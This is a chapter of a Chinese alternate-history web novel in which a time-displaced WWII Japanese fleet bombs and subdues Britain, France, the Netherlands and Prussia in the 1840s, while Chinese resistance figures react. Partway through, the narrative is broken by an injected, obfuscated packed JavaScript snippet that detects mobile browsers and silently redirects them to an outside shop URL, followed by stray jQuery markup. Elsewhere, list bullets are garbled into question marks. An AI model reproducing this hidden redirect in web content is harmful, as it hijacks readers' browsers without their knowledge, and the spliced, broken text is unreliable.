天师·终焉
第八章海啸
一
穿越后的第三十八个月,公元1844年秋。
中国战场仍然是一个泥沼。日军的陆军被钉在长江中下游,寸步难行。游击队、天师卫、南务派军队,像牛皮癣一样贴在他们身上,撕不掉,甩不开。每一座城池都是用血换来的,每一条补给线都是用命填的。
东条英机在东京大发雷霆:“三个月前说打到武汉,现在还在安庆!你们是干什么吃的?”
陆军将领们低头不语。不是他们不想打,是打不动。天师卫的狙击手潜伏在每一个制高点,日军的军官出门不到三百米就可能被爆头。游击队扒铁路、炸桥梁、烧粮仓,补给线一天断三回。占领区的百姓表面上恭顺,暗地里恨不得吃他们的肉。
但日本帝国并不只有陆军。
二
秋田油田在穿越后的第三年实现了稳定量产。每天数千吨原油从油井中抽出,通过新建的管道输送到炼油厂,变成汽油、柴油、重油。日本海军的燃料库,终于不再是空的。
山本五十六站在“大和”号战列舰的舰桥上,望着蔚蓝的太平洋,心中涌起一种复杂的情绪。这艘人类历史上最强大的战列舰,本应在1942年的太平洋上与美军决一死战。但它穿越到了1844年,面对的敌人不是美国,而是一个连蒸汽铁甲舰都没有的世界。
“长官,舰队已准备就绪。”副官报告。
山本点了点头。“出航。”
联合舰队的精锐并没有全部出动。东条需要留下大部分舰艇保卫本土、封锁中国沿海、支援陆军。派往欧洲的,只是一支小舰队——但在这个时代,已经足以碾压一切。
舰队编制:
?
战列舰1艘:“金刚”号(改装后的战列巡洋舰,航速快,火力猛)
?
?
重型航空母舰1艘:“加贺”号(搭载六十架舰载机,用于对地攻击)
?
?
巡洋舰4艘(重型2艘、轻型2艘)
?
?
驱逐舰8艘
?
?
补给舰、运输舰、运兵船若干
?
总兵力:海军官兵约八千人,陆战队员两千人。
这不是联合舰队的主力,主力还在本土和东海。但这支舰队,足以征服欧洲。
三
英国,朴茨茅斯港。
1845年3月的一个清晨,英国皇家海军的瞭望员在英吉利海峡发现了不寻常的黑影。不是帆船,不是蒸汽船,而是巨大的、灰色的、没有帆的铁甲舰。它们冒着黑烟,以不可思议的速度逼近。
警报拉响时,日军舰队已经进入了舰载机的攻击范围。
零式战斗机从“加贺”号的甲板上起飞,编队扑向朴茨茅斯港。英国皇家海军的帆船战列舰——那些曾经打败过西班牙、荷兰、法国的骄傲——在俯冲轰炸面前毫无还手之力。炸弹落在“胜利”号、“皇家主权”号、“无畏”号的甲板上,木屑横飞,大火冲天。
不到一个时辰,朴茨茅斯港变成了火海。英国皇家海军最精锐的战列舰队,在世界上第一场航母对港口的空袭中,全军覆没。
伦敦震动了。维多利亚女王在日记中写道:“这是世界的末日。”
日军没有登陆英国本土。他们的目标是摧毁沿海的工业基地和港口,瘫痪英国的战争潜力。朴茨茅斯、普利茅斯、南安普顿、利物浦、格拉斯哥——每一个重要的港口都遭到了空袭和炮击。造船厂化为废墟,船坞被炸毁,仓库被烧光。
英国皇家海军在三个月内损失了超过一百艘主力舰,剩下的龟缩在港口里,不敢出海。
四
荷兰,鹿特丹。
日军的巡洋舰分舰队驶入英吉利海峡,炮击了鹿特丹和阿姆斯特丹。荷兰皇家海军只有几艘老旧的蒸汽护卫舰,在日军驱逐舰面前像玩具一样被撕碎。鹿特丹的港口、造船厂、炼油厂被炸成废墟。
荷兰国王威廉二世向日军投降。他签署了条约,将荷属东印度(印度尼西亚)的所有权益转让给日本,并承诺不与日本为敌。
普鲁士,威廉港。
日军的舰载机轰炸了威廉港的造船厂和海军基地。普鲁士国王腓特烈·威廉四世在柏林接到消息,沉默了很久。他问大臣们:“我们能做什么?”
大臣们面面相觑。普鲁士有强大的陆军,但海军几乎是零。他们连一艘像样的蒸汽战舰都没有,怎么对抗日军的航母和战列舰?
“什么都做不了。”大臣回答。
法国,土伦港。
日军舰队进入地中海,炮击了土伦和马赛。法国海军比英国弱小得多,更不是对手。拿破仑三世(这个时空的法国皇帝不是拿破仑一世,因为历史已经改变)在巴黎宣布全国总动员,但法国的大部分工业区都在沿海,根本没有纵深。
日军没有登陆,也不需要登陆。他们只是反复轰炸、炮击,直到法国的港口变成废墟,造船厂化为灰烬。法国的战争潜力被摧毁了。
半年之内,西欧沿海的工业基地和港口全部瘫痪。
五
西欧的沦陷,不是因为欧洲人不够勇敢,而是因为他们的地理命脉被一刀斩断。
英国是个岛国,粮食自给率不到百分之四十。和平时期,来自加拿大、澳大利亚、印度的运粮船源源不断地驶入利物浦、南安普顿、伦敦。战争爆发后,日军的驱逐舰和潜艇封锁了英吉利海峡和北大西洋航线。运粮船不敢出港,港口被炸毁,仓库被烧光。
三个月后,伦敦开始缺粮。六个月后,配给制实施。一年后,面包店关门。
“我们不是被炸弹打败的,”一位英国国会议员在下议院说,“我们是被饥饿打败的。”
法国、荷兰、比利时的情况类似。它们的工业区紧靠海岸,煤炭、铁矿、棉花大部分依赖进口。港口瘫痪,海运中断,工厂停工,工人失业,社会动荡。
普鲁士虽然没有直接出海口,但它的工业命脉——莱茵兰——离海岸不到三百公里。日军的舰载机从“加贺”号上起飞,不到一个小时就能飞到科隆、杜塞尔多夫、埃森。炸弹落在工厂、铁路、桥梁上,鲁尔工业区在半年内变成了一片废墟。
普鲁士国王腓特烈·威廉四世在柏林召集大臣们开会。
“我们能打吗?”
陆军元帅摇摇头。“陛下,我们的陆军是欧洲最强的。但我们没有海军。敌人的舰队在海上,我们的炮弹打不到他们。他们可以每天来轰炸,我们只能挨打。”
“能议和吗?”
外交大臣苦笑。“日本人的条件是:割让所有殖民地,开放港口,驻军,赔款。不答应,就继续炸。”
国王沉默了很久。
“那就……议和吧。”
普鲁士签订了停战协定。法国、荷兰、比利时、丹麦、挪威,也相继投降。只有俄国,因为波罗的海和黑海出海口被封锁,暂时没有受到直接攻击——但它的出海口也被卡死了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510264|202965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
西方沦陷的消息传到韶州时,陈曦正在看地图。她放下铅笔,沉默了很久。
“天枢,”她轻声说,“你听到了吗?”
没有人回答。但她知道,如果天枢还在,它会说:“听到了。这是最坏的情况。”
“我们能做什么?”
“什么都做不了。”陈永华低声说,“我们连自己的国土都还没有收复。我们没有海军,没有飞机,没有能力去救欧洲。”
陈曦转过身,看着墙上那张巨大的世界地图。日本、中国、东南亚、印度、中东、欧洲——日军的旭日旗正在一面一面地插上去。
“他们不会停的。”陈曦说,“征服欧洲只是开始。下一个是美洲,然后是非洲,然后是大洋洲。他们要统治全世界。”
“我们挡不住。”陈永华说。
“挡不住也要挡。”陈曦的声音很平静,“能挡一天是一天。”
六
消息传到东京,东条英机在临时政府总部召开了庆功大会。
“皇军已经征服了欧洲!”他站在台上,挥舞着军刀,“西方列强不堪一击!我们的海军是无敌的!大东亚共荣圈,不,世界共荣圈,即将实现!”
台下掌声雷动。
但山本五十六没有鼓掌。他坐在角落里,脸上没有任何表情。他知道,征服欧洲靠的不是实力,而是代差。这种代差会随着时间的推移而缩小。欧洲人不会永远停留在风帆时代,他们会学习,会追赶,会反扑。
“长官,您不高兴吗?”副官问。
山本摇了摇头。“高兴。但战争还没有结束。”
七
林知夏在日本听到欧洲沦陷的消息时,正在药铺里给一个老人看病。她的手微微顿了一下,然后继续包扎伤口。
“怎么了?”老人问。
“没什么。”林知夏笑了笑,“伤口不要沾水,三天后来换药。”
老人走后,林知夏关上药铺的门,走进后屋,打开电台。
“陈曦,欧洲沦陷了。我们的时间不多了。”
陈曦的回电很快就到了:“我知道。你在日本怎么样?”
“裂缝在扩大。越来越多的人开始怀疑战争的意义。欧洲沦陷的消息,反而让一些人清醒了——他们发现,征服世界并不能带来幸福,只会带来更多的战争和死亡。”
“继续。我们需要你。”
“我知道。”
八
南极方向的信号,在这一年里变得更强了。
不是连续的,但持续时间已经从几秒延长到了十几秒。技术员们终于解析出了几个零星的词汇:“……求救……坐标……人员……伤亡……”
“能定位吗?”陈曦问。
“大致方向还是南极。但具体位置无法确定。”
陈曦沉默了很久。“继续监听。准备一支救援队。等信号明确了,立即出发。”
“现在就走?我们连他们在哪里都不知道。”
“他们等不了了。”陈曦说,“我能感觉到。”
她走出电台室,望着南方的天空。那里什么都没有。但她知道,在那片冰封的大陆上,有人在等待。也许是一百人,也许是十人,也许只有一个人。但只要还有人活着,希望就还在。
远处,韶州的万家灯火在暮色中闪烁。学堂里的灯亮了,孩子们在读书。医馆门口还有人在排队,工坊里的蒸汽机还在轰鸣。
这座城市的灯火,是林晚棠点燃的。她走了,灯火还在。
(第八章完)